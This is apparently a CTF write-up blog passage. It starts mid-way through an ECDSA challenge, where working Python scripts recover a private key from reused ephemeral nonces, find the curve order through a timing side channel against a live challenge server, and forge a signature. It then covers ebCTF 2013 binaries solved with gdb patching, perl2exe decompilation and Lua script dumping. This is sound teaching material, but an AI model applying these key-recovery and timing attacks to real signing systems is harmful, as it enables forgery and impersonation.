point == INFINITY: raise RuntimeError, "Generator point order is bad." if point.x() < 0 or n <= point.x() or point.y() < 0 or n <= point.y(): raise RuntimeError, "Generator point has x or y out of range." def verifies( self, hash, signature ): G = self.generator n = G.order() r = signature.r s = signature.s if r < 1 or r > n-1: return False if s < 1 or s > n-1: return False c = inverse_mod( s, n ) u1 = ( hash * c ) % n u2 = ( r * c ) % n xy = u1 * G + u2 * self.point v = xy.x() % n return v == r class Private_key( object ): def __init__( self, public_key, secret_multiplier ): self.public_key = public_key self.secret_multiplier = secret_multiplier def sign( self, hash, random_k ): G = self.public_key.generator n = G.order() k = random_k % n p1 = k * G r = p1.x() if r == 0: raise RuntimeError, "amazingly unlucky random number r" s = ( inverse_mod( k, n ) * \ ( hash + ( self.secret_multiplier * r ) % n ) ) % n if s == 0: raise RuntimeError, "amazingly unlucky random number s" return Signature( r, s )  And captured session (1000 requests): Bushing N2H4IbYdza03JAPqQMSClxFCWaZbw3qMT1btugW9lAMm7jPtethECcB64qSwiNDT2GAUPNcZe+LHC32q73PmSQ== Hotz wNpp5moxL1+Z0I40PJQCC/LegcOQocP+8Y9GV7Mv+5xCxqlIuZkMQDSpRWffZGG4NdkaOvAfttTtQuCaJZonxA== Hotz l3O9KitquB8KznEtDn4NJnWOxk1oJfYxMp3A9MjMOrezkBIzao9RQnWqF+ARC61MVNXRnzCypm3/RCPCT3XtFQ== [...] Bushing Ny/2AWoDfM70LbVBrnUQw85Wr2aV0pNihTimg6aYCnqw0jxp2VTQ/Xkss3jNXSLWX4u2/G2RplnMKDbIia1DVQ== Bushing aPL6Qh+7UQwZ0EIEvPgPHW+YkcqIrpULimmgt4xdqCgHwOb7LGxyGh7hNT5b/Yyo1crvsQ5AxEZZiuQ80QJBmg== Bushing P3uwUNm7bDwpgRe6KgZXPmk1PmQOpLeVPtr+cQjI5yxb17YBZw8wh1jp24O5avzZ4cXdMeJvC0jABBCkMtX9PA== Hotz PEoOFXZD/Qs4b/4Omsn3O87UUpFsd8i25mJvo91hp+K0W3bX7bbhHU/i2hSSmGLAXuNS7dIoO3Sxn/liqNGNlg==  To get flag we need to: 1. Break MD5 level2 hash (6f3249aa304055d63828af3bfab778f6) or 2. Break one of MD5 level1 hashes (f1cd318e412b5f7226e5f377a9544ff7, 98c131f9fb31f732b136f87e64ff686a) and sign it with ECDSA private key. Level2 hash seems to be unbreakable, level1 hashes are easy to break but we don't have the private key and all captured data are level0 ECDSA is safe if all messages are signed with different random value of ephemeral key (k), otherwise when we have 2 messages that used the same value of k we can calculate k using formula $$k = \frac{hash_1 - hahs_2}{s_1-s_2}\ (mod\ n)$$ and then the private key: $$d_A = \frac{s_1*k-hash_1}{r_1}\ (mod\ n)$$ And then we can sign our hash: $$s = \frac{hash+d_A*r_1}{k}\ (mod\ n)$$ and the signature is $$(r_1,s)$$ Let's look at get_ephemeral_key() function: def get_ephemeral_key(): k = "" while len(k) < 32: k += hashlib.md5(seed + str(random.randint(0,255))).digest() return int(k.encode('hex'),16)  There are only 255*255 possible outputs of this function in one session (seed value is random but stays the same for the whole session)! And we have 1000 captured samples, so there is a huge probability that two messages were using the same k (birthday paradox). We can calculate k and the private key value from all pairs and if two disjoint pairs will give us the same private key, we can assume that this is true private_key. import base64 import hashlib n = G_ORDER def inverse_mod( a, m ): if a < 0 or m <= a: a = a % m c, d = a, m uc, vc, ud, vd = 1, 0, 0, 1 while c != 0: q, c, d = divmod( d, c ) + ( c, ) uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc assert d == 1 if ud > 0: return ud else: return ud + m f = open('captured-sessions.txt','r') data = f.read() lines = data.split("\n") sigs = [] zs = [] for line in lines: dwa = line.split(' ') if len(dwa) <> 2: continue tmp = base64.b64decode(dwa[1]).encode('hex') r = int(tmp[:64],16) s = int(tmp[64:],16) sigs.append( (r,s) ) hashed_input = hashlib.md5(dwa[0]).digest().encode('hex') zs.append(int(hashed_input,16)) keys = dict() for i in range(0,1000): for j in range(i+1,1000): (r1,s1) = sigs[i] (r2,s2) = sigs[j] z1 = zs[i] z2 = zs[j] if z1 == z2: continue k = (z1 - z2)*inverse_mod(s1-s2,n) % n d = (s1*k - z1)*inverse_mod(r1,n) % n ii = i jj =j if d in keys: (ii,jj) = keys[d] if ii <> i and jj <> j and i<>jj and j<>ii: print d,k,r1 keys[d]=(i,j)  But there is a problem, we need Order of G. Let's look at verify function:  def verifies( self, hash, signature ): G = self.generator n = G.order() r = signature.r s = signature.s if r < 1 or r > n-1: return False if s < 1 or s > n-1: return False c = inverse_mod( s, n ) u1 = ( hash * c ) % n u2 = ( r * c ) % n xy = u1 * G + u2 * self.point v = xy.x() % n return v == r  Before expensive (time) calculations there is a check if values of r and s are between 1 and n-1. So we can use binary search and time checks to find value of n. import base64 import socket import re import random import hashlib import datetime hostport = ('54.216.116.38', 3016) def int2bin(d): s="" for i in range(0,32): s+=chr(d%256) d/=256 return s[::-1] ordera = 0 orderb = 2**256 - 1 while 1: s = socket.create_connection(hostport) d= s.recv(1024) m = re.search('.*starts with (.*) which md5.*', d) pref = m.group(1) while 1: st = "01234567"*7 resp = pref + ''.join(random.sample(st,len(st))) if hashlib.md5(resp).hexdigest().startswith('0000'): break s.send(resp) d= s.recv(1024) password = "Kevin"+("\n"*27) s.send(password) d= s.recv(1024) si=2 orderc = ordera + (orderb - ordera)/2 ri = orderc tmp = int2bin(ri) + int2bin(si) sig = base64.b64encode(tmp) s.send(sig) n1=datetime.datetime.now() d= s.recv(1024) n2=datetime.datetime.now() x=(n2-n1).microseconds if x<100000: orderb = orderc else: ordera = orderc print x,ordera, orderb s.close()  And that is everything what we need to solve this task. import base64 import socket import re import random import hashlib import datetime hostport = ('54.216.116.38', 3016) def int2bin(d): s="" for i in range(0,32): s+=chr(d%256) d/=256 return s[::-1] ordera = 0 orderb = 2**256 - 1 s = socket.create_connection(hostport) d= s.recv(1024) m = re.search('.*starts with (.*) which md5.*', d) pref = m.group(1) while 1: st = "01234567"*7 resp = pref + ''.join(random.sample(st,len(st))) if hashlib.md5(resp).hexdigest().startswith('0000'): break s.send(resp) d= s.recv(1024) password = "Kevin"+("\n"*27) s.send(password) d= s.recv(1024) n = 89953523493328636138979614835438769106005948670998555217484157791369906305783 da =68503307448214310387573639006216872681840007669594105206515313184282784925849 k = 36738773201348520209625638351073339244477604751576415245956940910111085841389 ri = 59596085284558034169187633095832466866630673714956966387930595096089236063353 hash = int('f1cd318e412b5f7226e5f377a9544ff7',16) si = ( inverse_mod( k, n ) * ( hash + ( da * ri ) % n ) ) % n tmp = int2bin(ri) + int2bin(si) sig = base64.b64encode(tmp) s.send(sig) d= s.recv(1024) print d  ## Sunday, August 4, 2013 ### ebCTF 2013: bin100 - bin300 bin100 - 'Dice Revenge' Very similar challenge to one from teaser, roll some dices and win. Of course you have to roll 3 1 3 3 7 ;] All rolls look alike:  8048ebb: e8 50 fc ff ff call 8048b10 8048ec0: 89 c1 mov ecx,eax 8048ec2: ba ab aa aa 2a mov edx,0x2aaaaaab 8048ec7: 89 c8 mov eax,ecx 8048ec9: f7 ea imul edx 8048ecb: 89 c8 mov eax,ecx 8048ecd: c1 f8 1f sar eax,0x1f 8048ed0: 29 c2 sub edx,eax 8048ed2: 89 d0 mov eax,edx 8048ed4: 01 c0 add eax,eax 8048ed6: 01 d0 add eax,edx 8048ed8: 01 c0 add eax,eax 8048eda: 89 ca mov edx,ecx 8048edc: 29 c2 sub edx,eax 8048ede: 8d 42 01 lea eax,[edx+0x1] 8048ee1: 89 44 24 50 mov DWORD PTR [esp+0x50],eax 8048ee5: 83 7c 24 50 01 cmp DWORD PTR [esp+0x50],0x1  So just find 5 rands and put breaks on them: mov DWORD PTR [esp+0x50],eax Something like this: --- bin100.gdb --- b *0x8048ee1 b *0x80490ee b *0x80492fc b *0x80494ff b *0x8049744 commands 1 set$eax=3
c
end

commands 2
set $eax=1 c end commands 3 set$eax=3
c
end
commands 4
set $eax=3 c end commands 5 set$eax=7
c
end

run
quit
--- end --- 
Fire it up: gdb -q -nx -x bin100.gdb bin100 press some enters aaand...
[*] You rolled a seven, with a six sided dice! How awesome are you?!
[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \o/
[*] Nice job, here is the flag: ebCTF{9a9689dbd47a1fd3fc0bf17d60edf545}


bin200 - 'No comment...'

Throw it in IDA, look around. Google for RunPerl or -p2x-exe/debug to find out its a perl script compiled
with perl2exe - you can find a decoder here - then run it:
$python2 per2exe-dec.py ebCTF_BIN200.exe p2x_stub.lib p2x_header.pm p2x_info.pm _main.pl P2XDLL/p2x5123.dl$ cat _main.pl
#!/usr/bin/perl

print "\n[*] ebCTF BIN 200\n".
"      No comment...\n\n";

$secret = "Sup3RSeCr3tStuFf!"; print "[*] What is the secret? ";$answer = ;
chomp($answer); if ($answer eq $secret) { print "\n[*] Yes, that is correct! However that was not the goal of this challenge.\n". " Did you know that compiled code does not contain any comments?\n"; } else { print "\n[*] Isn't that cute...but it is WRONG!.\n"; } # W e l l , w e l l, i t s e e m s t h e r e a c t u a l l y i s a c o m m e n t . . . # # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _________ | | | ______ | | | ______ | | | _________ | | #| | |_ ___ | | | | |_ _ \ | | | .' ___ | | | | | _ _ | | | #| | | |_ \_| | | | | |_) | | | | / .' \_| | | | |_/ | | \_| | | #| | | _| _ | | | | __'. | | | | | | | | | | | | #| | _| |___/ | | | | _| |__) | | | | \ .___.'\ | | | _| |_ | | #| | |_________| | | | |_______/ | | | ._____.' | | | |_____| | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _________ | | | __ | | | _________ | | | ________ | | #| | |_ ___ | | | | .' _/ | | | |_ ___ | | | | |_ ___ . | | #| | | |_ \_| | | | | | | | | | |_ \_| | | | | | . \ | | #| | | _| | | | < < | | | | _| _ | | | | | | | | | #| | _| |_ | | | | |_ | | | _| |___/ | | | | _| |___.' / | | #| | |_____| | | | .__\ | | | |_________| | | | |________.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | ______ | | | ________ | | | ______ | | | ____ | | #| | |_ _ \ | | | |_ ___ . | | | |_ _ \ | | | .' '. | | #| | | |_) | | | | | | . \ | | | | |_) | | | | | .--. | | | #| | | __'. | | | | | | | | | | | __'. | | | | | | | | | #| | _| |__) | | | | _| |___.' / | | | _| |__) | | | | | --' | | | #| | |_______/ | | | |________.' | | | |_______/ | | | '.____.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | ______ | | | ______ | | | _______ | | | ______ | | #| | / ____ . | | | .' ___ | | | | | ___ | | | | .' ____ '. | | #| | ' __) | | | | / .' \_| | | | |_/ / / | | | | (____) | | | #| | _ |__ '. | | | | | | | | / / | | | '_.____. | | | #| | | \____) | | | | \ .___.'\ | | | / / | | | | \____| | | | #| | \______.' | | | ._____.' | | | /_/ | | | \______,' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | ______ | | | ____ | | | _________ | | | __ | | #| | .' ____ '. | | | .' __ '. | | | |_ ___ | | | | / \ | | #| | | (____) | | | | | (__) | | | | | |_ \_| | | | / /\ \ | | #| | '_.____. | | | | .____'. | | | | _| | | | / ____ \ | | #| | | \____| | | | | | (____) | | | | _| |_ | | | _/ / \ \_ | | #| | \______,' | | | .______.' | | | |_____| | | ||____| |____|| | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _______ | | | _______ | | | __ | | | ______ | | #| | | ___ | | | | | _____| | | | / | | | | |_ _ \ | | #| | |_/ / / | | | | |____ | | | | | | | | | |_) | | | #| | / / | | | '_.____''. | | | | | | | | | __'. | | #| | / / | | | | \____) | | | | _| |_ | | | _| |__) | | | #| | /_/ | | | \______.' | | | |_____| | | | |_______/ | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _________ | | | _____ | | | __ | | | ________ | | #| | |_ ___ | | | | / ___ . | | | / | | | | |_ ___ . | | #| | | |_ \_| | | | |_/___) | | | | | | | | | | | . \ | | #| | | _| _ | | | .'____.' | | | | | | | | | | | | | | #| | _| |___/ | | | | / /____ | | | _| |_ | | | _| |___.' / | | #| | |_________| | | | |_______| | | | |_____| | | | |________.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | __ | | | ______ | | | ______ | | | _ _ | | #| | / | | | | / ____ . | | | .' ____ \ | | | | | | | | | #| | | | | | | ' __) | | | | | |____\_| | | | | |__| |_ | | #| | | | | | | _ |__ '. | | | | '____'. | | | |____ _| | | #| | _| |_ | | | | \____) | | | | | (____) | | | | _| |_ | | #| | |_____| | | | \______.' | | | '.______.' | | | |_____| | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | __ | | | _______ | | | ____ | | | ______ | | #| | / \ | | | | _____| | | | .' __ '. | | | .' ____ \ | | #| | / /\ \ | | | | |____ | | | | (__) | | | | | |____\_| | | #| | / ____ \ | | | '_.____''. | | | .____'. | | | | '____'. | | #| | _/ / \ \_ | | | | \____) | | | | | (____) | | | | | (____) | | | #| ||____| |____|| | | \______.' | | | .______.' | | | '.______.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | #| | ____ | | | ____ | | | __ | | #| | .' '. | | | .' '. | | | \_ . | | #| | | .--. | | | | | .--. | | | | | | | | #| | | | | | | | | | | | | | | | > > | | #| | | --' | | | | | --' | | | | _| | | | #| | '.____.' | | | '.____.' | | | /__.' | | #| | | | | | | | | | #| '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------'  Transcibe this huge comment and you get the flag: ebCTF{edbdb03c7998fa751be21d1364a58600}. Victory. bin300 - Crack the password' Quick look at disassembly reveals it's a binary that loads obfuscated lua script and executes it via luaL_loadbuffer. We can just break there and read the script: --- moon.gdb --- b luaL_loadbuffer set print elements 0 commands 1 call printf("%s\n",$rsi)
end
run
quit
--- end ---

$gdb -q -nx -x moon.gdb moon Reading symbols from /tmp/moon...(no debugging symbols found)...done. Breakpoint 1 at 0x411110 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 warning: Could not load shared library symbols for linux-vdso.so.1. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, 0x0000000000411110 in luaL_loadbuffer () p = 54111037 g = 56321 io.write("Enter your password: ") io.flush() password=io.read() if string.len(password) ~= 32 then print("Wrong!") return 0 end v = g alpha = "0123456789abcdef" for loop =1,32 do v = v * g v = v % p r = v % 16 good = string.sub(alpha,r+1,r+1) if good ~= string.sub(password,loop,loop) then print("Wrong!") return 0 end end print("Well done, the flag is: ebCTF{"..password.."}") -- f02233aca4839124ee6ffa766883c47e$1 = 488
A debugging session is active.

Inferior 1 [process 2096] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]

My first guess that the comment is the flag paid off - just wrap it with ebCTF{} and submit. Done.